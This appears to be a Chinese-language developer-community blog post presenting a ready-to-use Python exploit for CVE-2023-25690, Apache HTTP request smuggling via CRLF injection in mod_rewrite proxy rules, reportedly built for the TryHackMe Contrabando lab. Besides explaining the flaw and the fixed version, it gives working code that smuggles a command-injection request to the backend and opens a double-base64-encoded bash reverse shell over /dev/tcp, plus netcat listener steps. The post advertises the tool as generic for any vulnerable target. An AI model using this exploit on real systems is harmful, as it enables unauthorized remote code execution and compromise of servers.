首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >深入解析CVE-2023-25690:Apache HTTP请求走私漏洞利用工具

深入解析CVE-2023-25690:Apache HTTP请求走私漏洞利用工具

原创
作者头像
qife122
发布于 2026-09-26 17:28:09
发布于 2026-09-26 17:28:09
630
举报

CVE-2023-25690 — Apache 请求走私漏洞利用工具

针对 CVE-2023-25690 的 Python 漏洞利用脚本。该漏洞是 Apache mod_rewrite/mod_proxy 模块中的 CRLF 注入缺陷(影响 Apache HTTP Server ≤ 2.4.55),攻击者可借此向前端反向代理走私一个完全独立的 HTTP 请求,直接送达后端服务器,从而绕过前端施加的所有过滤、缓存或静态响应逻辑。

本工具在攻克 TryHackMe Contrabando 靶机时开发并验证,利用该漏洞绕过了提供静态 PHP 源码的前端 Apache 实例,触达存在 OS 命令注入漏洞的后端端点,最终获取反弹 Shell。

漏洞背景

受影响的 Apache 配置使用带有 [P](代理)标志的 RewriteRule 将请求转发至后端服务器,例如:

代码语言:apache
复制
RewriteRule "^/page/(.*)$" "http://127.0.0.1:8080/$1" [P]

捕获组($1)在替换进后端请求时未剥离 CRLF 控制字符。攻击者只需在请求路径中 URL 编码一个 \r\n(即 %0d%0a),即可向发送至后端的流中注入任意额外头部——甚至一整个第二 HTTP 请求。后端无法将其与同一连接上两个合法的独立请求区分开来。

修复版本: Apache HTTP Server 2.4.56,该版本在代理前会拒绝 RewriteRule 替换中的控制字符。

功能特性

  • 自动化请求走私:一键构造并发送包含 CRLF 注入的恶意 HTTP 请求
  • 双层 Base64 编码 Payload:反弹 Shell 命令经过双重 Base64 编码,以穿越多层 URL 编码
  • 高度可定制:支持自定义目标路径、后端路径、注入参数名、后端端口等
  • 零外部依赖:仅使用 Python 标准库(socket、argparse、base64)
  • 通用化设计:不仅适用于 Contrabando 靶机,可适配任何具有类似前后端分离架构的 CVE-2023-25690 漏洞目标
  • 完整调试输出:发送前打印完整请求报文,便于分析和排错

安装指南

系统要求

  • Python 3.6 或更高版本
  • 无需安装任何第三方依赖(仅使用标准库)

安装步骤

代码语言:bash
复制
# 克隆仓库
git clone https://github.com/qife/cve-2023-25690-exploit.git
cd cve-2023-25690-exploit

# 赋予执行权限
chmod +x smuggle_rce.py

攻击机准备

在运行利用脚本之前,需先启动监听器以接收反弹 Shell:

代码语言:bash
复制
nc -lvnp <你的监听端口>

使用说明

基础用法

代码语言:bash
复制
python3 smuggle_rce.py -t <目标IP> -l <你的IP> -p <监听端口>

参数说明

参数

必填

默认值

描述

-t, --target

是

—

目标 IP 或主机名(前端代理)

-l, --lhost

是

—

反弹 Shell 回连的你的 IP

-p, --lport

是

—

你的监听端口

-P, --target-port

否

80

目标前端端口

-b, --backend-port

否

8080

请求被走私到的内部后端端口

--path

否

/page/gen.php

触发漏洞重写规则的外层路径

--backend-path

否

/gen.php

走私请求所针对的真实后端路径

--param

否

length

被反射进 Shell 命令的漏洞 POST 参数名

典型使用场景

场景一:Contrabando 靶机(默认配置)

代码语言:bash
复制
# 终端1:启动监听
nc -lvnp 4444

# 终端2:发起攻击
python3 smuggle_rce.py -t 10.10.10.10 -l 10.8.0.5 -p 4444

场景二:适配不同目标

若目标应用的文件名、参数名或后端端口与 Contrabando 靶机不同,可通过参数覆盖:

代码语言:bash
复制
python3 smuggle_rce.py -t 10.10.10.10 -l 10.8.0.5 -p 4444 \
  --path /app/generate.php \
  --backend-path /generate.php \
  --param size \
  --backend-port 5000

工作原理

  1. 构造反弹 Shell 单行命令,进行双重 Base64 编码以穿越多层 URL 编码
  2. 构建一个完整的内层 HTTP POST 请求,指向真实后端服务及漏洞参数
  3. 将该内层请求通过 CRLF 注入到外层看似无害的 GET 请求的 URL 路径中
  4. 通过原始 TCP Socket 将完整请求发送至目标前端
  5. 若目标存在漏洞,前端会将走私的字节直接代理至后端,后端将其解析为独立请求并执行注入的命令

核心代码

1. 反弹 Shell Payload 构造(双重 Base64 编码)

代码语言:python
复制
def make_double_b64_bash_payload(lhost, lport):
    """
    构造双重 Base64 编码的反弹 Shell 命令。
    第一次编码:将原始 bash 命令转为 Base64
    第二次编码:再次编码,以穿越 URL 编码层和 shell 解析层
    """
    raw_cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
    once = base64.b64encode(raw_cmd.encode()).decode()
    twice = base64.b64encode(once.encode()).decode()
    return twice

2. CRLF 编码与 URL 转义

代码语言:python
复制
def urlencode_crlf(s):
    """
    将字符串中的 CRLF 序列替换为 URL 编码形式 %0d%0a,
    并将空格编码为 %20,以便嵌入 URL 路径中传输。
    """
    return s.replace("\r\n", "%0d%0a").replace(" ", "%20")

3. 构造并发送走私请求(主逻辑)

代码语言:python
复制
def main():
    args = build_args()

    # 生成双重 Base64 编码的反弹 Shell Payload
    b64_payload = make_double_b64_bash_payload(args.lhost, args.lport)

    # 构造内层 POST 请求体:利用命令注入漏洞,通过 $() 执行解码后的反弹 Shell
    body = f"{args.param}=1;$(echo {b64_payload}|base64 -d|base64 -d|bash)"
    body_len = len(body.encode())

    print(f"[*] Target:           {args.target}:{args.target_port}")
    print(f"[*] Backend port:     {args.backend_port}")
    print(f"[*] Reverse shell to: {args.lhost}:{args.lport}")
    print(f"[*] Inner body length: {body_len}")
    print(f"[*] Inner body: {body}")

    # 构建内层完整 HTTP POST 请求(将被走私至后端)
    smuggled_request = (
        f"POST {args.backend_path} HTTP/1.1\r\n"
        f"Host: 127.0.0.1:{args.backend_port}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {body_len}\r\n"
        f"\r\n"
        f"{body}"
    )

    # 对内层请求进行 CRLF → URL 编码转换
    encoded_smuggled_part = urlencode_crlf(smuggled_request)

    # 构造外层请求行:在路径中注入编码后的内层请求
    request_line = (
        f"GET {args.path}%20HTTP/1.1%0d%0a"
        f"Host:%20127.0.0.1:{args.backend_port}%0d%0a%0d%0a"
        f"{encoded_smuggled_part} HTTP/1.1"
    )

    # 拼接最终完整请求
    full_request = (
        f"{request_line}\r\n"
        f"Host: {args.target}\r\n"
        f"\r\n"
    )

    print("\n---- SENDING ----")
    print(full_request)
    print("------------------")

    # 通过原始 TCP Socket 发送请求
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(8)
    s.connect((args.target, args.target_port))
    s.sendall(full_request.encode())

    # 接收响应
    response = b""
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            response += chunk
    except socket.timeout:
        pass

    print("---- RESPONSE ----")
    print(response.decode(errors="replace"))
    s.close()

4. 命令行参数解析

代码语言:python
复制
def build_args():
    """
    构建并解析命令行参数,提供完整的可定制选项,
    使得工具可适配不同的目标环境。
    """
    parser = argparse.ArgumentParser(
        description="CVE-2023-25690 HTTP Request Smuggling RCE exploit (generic)"
    )
    parser.add_argument("-t", "--target", required=True,
                        help="Target IP or hostname (front-end)")
    parser.add_argument("-P", "--target-port", type=int, default=80,
                        help="Target port (default: 80)")
    parser.add_argument("-l", "--lhost", required=True,
                        help="Your (attacker) IP for reverse shell callback")
    parser.add_argument("-p", "--lport", type=int, required=True,
                        help="Your (attacker) listener port")
    parser.add_argument("-b", "--backend-port", default="8080",
                        help="Backend internal port (default: 8080)")
    parser.add_argument("--path", default="/page/gen.php",
                        help="Vulnerable outer path used for the CRLF injection")
    parser.add_argument("--backend-path", default="/gen.php",
                        help="Real backend path the smuggled request should hit")
    parser.add_argument("--param", default="length",
                        help="Vulnerable POST parameter name reflected into a shell command")
    return parser.parse_args()

免责声明

本工具仅供教育目的和授权的安全测试使用(CTF 平台、您自有的实验环境,或持有明确书面授权的渗透测试项目)。请勿对未获授权测试的系统使用本工具。作者对任何滥用行为不承担任何责任。

参考资料

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

目录
  • CVE-2023-25690 — Apache 请求走私漏洞利用工具
    • 漏洞背景
    • 功能特性
    • 安装指南
      • 系统要求
      • 安装步骤
      • 攻击机准备
    • 使用说明
      • 基础用法
      • 参数说明
      • 典型使用场景
      • 工作原理
    • 核心代码
      • 1. 反弹 Shell Payload 构造(双重 Base64 编码)
      • 2. CRLF 编码与 URL 转义
      • 3. 构造并发送走私请求(主逻辑)
      • 4. 命令行参数解析
    • 免责声明
    • 参考资料
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档